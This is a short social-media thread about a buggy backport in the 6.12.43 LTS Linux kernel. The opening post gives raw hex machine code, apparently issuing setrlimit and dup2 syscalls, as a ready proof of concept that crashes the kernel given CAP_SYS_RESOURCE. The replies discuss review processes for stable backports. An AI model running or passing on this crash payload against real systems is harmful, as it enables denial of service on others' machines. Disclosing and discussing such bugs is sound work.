You too can crash today's 6.12.43 LTS kernel thanks to a stable maintainer's AI slop. All you need is CAP_SYS_RESOURCE, modern systemd, and this: 40 b7 40 c1 e7 18 83 ef 08 57 57 31 ff 40 b7 07 31 c0 b0 a0 48 89 e6 0f 05 5e ff ce 31 ff b0 21 0f 05 Look at all this extra space!

@spendergrsec I don't think it is a AI problem but more a process problem (and eventually C language one for some aspects). Regardless on how the backport patch is made, it needs to be promptly reviewed by 3rd parties (not only the backporter) so that buggy backports don't slip through.

@spendergrsec Maybe the time for rc reviews should be longer, and people that actually cares about stable branches needs to put more effort on reviewing (instead of assuming everything will always be done perfectly).
